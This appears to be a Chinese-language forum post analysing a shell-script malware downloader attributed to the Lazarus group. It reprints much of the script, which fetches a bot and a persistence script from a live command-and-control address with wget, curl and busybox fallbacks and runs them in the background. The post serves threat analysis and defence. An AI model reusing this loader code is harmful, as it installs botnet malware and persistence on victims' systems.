找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3198

积分

0

好友

454

主题
发表于 17 小时前 | 查看: 0| 回复: 0

安全分析领域,高级持续性威胁(APT)组织 Lazarus 的活动一直备受关注。近期,一个疑似与该组织相关的恶意Shell脚本样本在 VirusTotal(VT)平台上的检测结果颇为“亮眼”——社区评分显示为 0/61,意味着当时没有任何一家安全供应商将其标记为恶意。

该样本的文件名为 legacy_loader.sh,其 SHA256 哈希值为:

cd78aadb043ae4ba9dce3e2df3b502af7c3115af02d834d2148b5d559f1f88f

脚本的核心功能是充当一个下载器(Downloader),其最终的通信与控制服务器(C2)指向 IP 地址 45.156.87[.]228 的 8030 端口。在通信过程中,脚本还会携带一个关键的查询参数 key=lazarus,这似乎是一种身份标识或认证机制。

一、 VirusTotal 检测与行为分析

在 VT 平台的分析报告中,该文件获得了“0/61”的社区评分,即零检测。

VT平台对legacy_loader.sh的零检测结果与行为分析

平台的“Code insights”部分清晰地勾勒出了该脚本的行为链条:

  1. 自提权:脚本首先确保自身具有可执行权限。
  2. 下载Bot:尝试从 http://45.156.87.228:8030/ 下载名为 bot.sh 的文件,并保存至 /tmp/.bot。下载过程采用了多后备方案,依次尝试 wget(静默与非静默模式)、curl(静默与非静默模式)以及 busybox wget,以最大限度地适配不同系统环境。
  3. 执行Bot:成功下载后,尝试使用 chmod +xchmod 755/tmp/.bot 设置可执行权限,随后在后台运行此Bot文件。执行时也考虑了多种解释器(直接执行、shbash)的可用性。
  4. 下载持久化脚本:接着,从同一服务器下载另一个名为 persistence.sh 的文件至 /tmp/persistence,采用相同的多后备下载策略。
  5. 安装持久化:为 /tmp/persistence 设置可执行权限并运行,之后将其删除。
  6. 自我删除:原始脚本 legacy_loader.sh 最终尝试删除自身。

动态行为分析也捕获了其发起的网络请求,证实了上述流程。

脚本发起的HTTP请求记录

可以看到三个成功的 GET 请求,分别对应下载 bot.sh、访问 command?key=lazarus(可能用于心跳或指令获取)以及下载 persistence.sh

二、 恶意Shell脚本代码解读

该样本的代码设计体现了针对老旧或受限系统环境的兼容性考量,其注释自称为“旧系统(如 Debian Wheezy)的遗留加载器”。以下是其核心代码部分。

主下载逻辑

脚本开头定义了下载函数,其多后备策略是绕过基础工具缺失或SSL证书问题等障碍的关键。

#!/bin/sh
# Legacy Loader for Old Systems (Debian Wheezy, etc.)
# This script handles the initial deployment on systems that might not have proper wget/curl or have SSL certificate issues

# Auto-fix permissions on first run
if [ ! -x "$0" ]; then
  chmod +x "$0" 2>/dev/null || true
fi

BOT_URL="http://45.156.87.228:8030/bot.sh"
BOT_PATH="/tmp/.bot"
API_KEY="lazarus"
echo "Legacy Loader starting..."

# Function to download with multiple fallbacks
download_bot() {
  echo "Attempting to download bot..."

  # Try wget (most common on old Debian)
  if command -v wget >/dev/null 2>&1; then
    echo "Trying wget..."
    if wget -q "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
      echo "Downloaded with wget"
      return 0
    fi
  fi

  # Try without -q for older wget
  if wget "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
    echo "Downloaded with wget (no quiet)"
    return 0
  fi

  # Try curl
  if command -v curl >/dev/null 2>&1; then
    echo "Trying curl..."
    if curl -s "$BOT_URL" -o "$BOT_PATH" 2>/dev/null; then
      echo "Downloaded with curl"
      return 0
    fi
  fi

  # Try without -s
  if curl "$BOT_URL" -o "$BOT_PATH" 2>/dev/null; then
    echo "Downloaded with curl (verbose)"
    return 0
  fi

  # Try busybox versions
  if busybox wget -q "$BOT_URL" -O "$BOT_PATH" 2>/dev/null; then
    echo "Downloaded with busybox wget"
    return 0
  fi

  echo "All download methods failed"
  return 1
}

legacy_loader.sh 脚本的下载函数部分

提权、执行与持久化安装

在成功下载后,脚本通过多个函数来处理文件权限、启动Bot以及安装持久化模块,同样考虑了不同系统环境的差异。

# Function to make executable
make_executable() {
  echo "Making bot executable..."

  # Try normal chmod
  if chmod +x "$BOT_PATH" 2>/dev/null; then
    echo "Made executable with chmod +x"
    return 0
  fi

  # Try with numeric permissions
  if chmod 755 "$BOT_PATH" 2>/dev/null; then
    echo "Made executable with chmod 755"
    return 0
  fi

  # Some systems need different approach
  cp "$BOT_PATH" "$BOT_PATH.tmp" 2>/dev/null && mv "$BOT_PATH.tmp" "$BOT_PATH" 2>/dev/null
  echo "Executable permissions may not be set, but continuing..."
  return 0
}

# Function to start bot
start_bot() {
  echo "Starting bot..."

  # Try to run directly
  if [ -x "$BOT_PATH" ] 2>/dev/null; then
    nohup "$BOT_PATH" >/dev/null 2>&1 &
    echo "Bot started directly"
    return 0
  fi

  # Try with sh
  if command -v sh >/dev/null 2>&1; then
    nohup sh "$BOT_PATH" >/dev/null 2>&1 &
    echo "Bot started with sh"
    return 0
  fi

  # Try with bash
  if command -v bash >/dev/null 2>&1; then
    nohup bash "$BOT_PATH" >/dev/null 2>&1 &
    echo "Bot started with bash"
    return 0
  fi

  echo "Could not start bot"
  return 1
}

# Function to install persistence
install_persistence() {
  echo "Installing persistence..."

  # Download persistence script
  PERSISTENCE_URL="http://45.156.87.228:8030/persistence.sh"
  PERSISTENCE_PATH="/tmp/persistence"

  # ...(truncated)

脚本的提权、执行与持久化安装函数

三、 总结与思考

这个 legacy_loader.sh 样本是一个典型的轻量级、高兼容性的第一阶段下载器。其技术特点清晰:

  1. 强兼容性:通过多工具、多参数的后备下载和执行策略,确保在各类Linux系统(尤其是老旧系统)上都能成功运行。
  2. 模块化加载:自身仅负责下载和加载更核心的 bot.sh(可能为主功能模块)和 persistence.sh(持久化模块),结构清晰。
  3. 痕迹清理:在执行完毕后删除下载的持久化脚本和自身,减少驻留痕迹。

其在VT平台上“0/61”的检测结果,一方面可能由于样本较新或使用了某种规避技术,另一方面也提醒我们,对于这类看似“简单”的Shell脚本,传统的特征检测引擎可能存在盲区。防御者需要结合行为监控、网络流量分析和终端安全机制进行综合防护。

对这类样本的深入分析,有助于安全研究人员更好地理解攻击者的技战术,并完善相应的检测与响应规则。如果你对更多恶意软件或逆向工程的实战分析感兴趣,欢迎在云栈社区与更多同行交流探讨。




上一篇:OpenClaw、ClawTask与MoltBook:它们正在构建一个没有人类的AI经济闭环
下一篇:Java核心技术:从语法特性到架构设计的核心与原理深度解析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-2 23:01 , Processed in 0.287138 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表